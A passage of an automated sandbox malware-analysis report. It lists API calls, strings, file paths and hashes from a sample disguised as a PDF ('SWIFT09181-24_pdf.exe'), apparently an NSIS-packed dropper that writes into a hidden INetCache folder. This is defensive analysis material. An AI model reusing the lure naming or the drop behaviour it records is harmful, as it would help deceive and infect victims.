lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
\*.*, xrefs: 004058B1
"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe", xrefs: 0040584F

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3796717927
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 542301482-2168965836
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(74DF3420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEdit, xrefs: 00403AF9
RichEd20, xrefs: 00403ACC
"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe", xrefs: 004038A1
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
RichEd32, xrefs: 00403ADA
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
.exe, xrefs: 004039AC
RichEdit20W, xrefs: 00403AEA, 00403AF0
_Nb, xrefs: 00403A22, 00403A8A
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
1033, xrefs: 004038BE, 0040391A

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-3286580641
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Error launching installer, xrefs: 00402E3E
(*B, xrefs: 00402E7C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
C:\Users\user\Desktop\SWIFT09181-24_pdf.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe", xrefs: 00402DF4
Null, xrefs: 00402EE5
soft, xrefs: 00402EDC
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
Inst, xrefs: 00402ED3

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFT09181-24_pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-3681622501
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nsw967F.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll, xrefs: 0040182D, 00401849
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401796

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\nsw967F.tmp$C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll$Call
API String ID: 1941528284-205049977
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004031F1
... %d%%, xrefs: 0040316E
jA, xrefs: 004030E7

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw967F.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsw967F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw967F.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsw967F.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
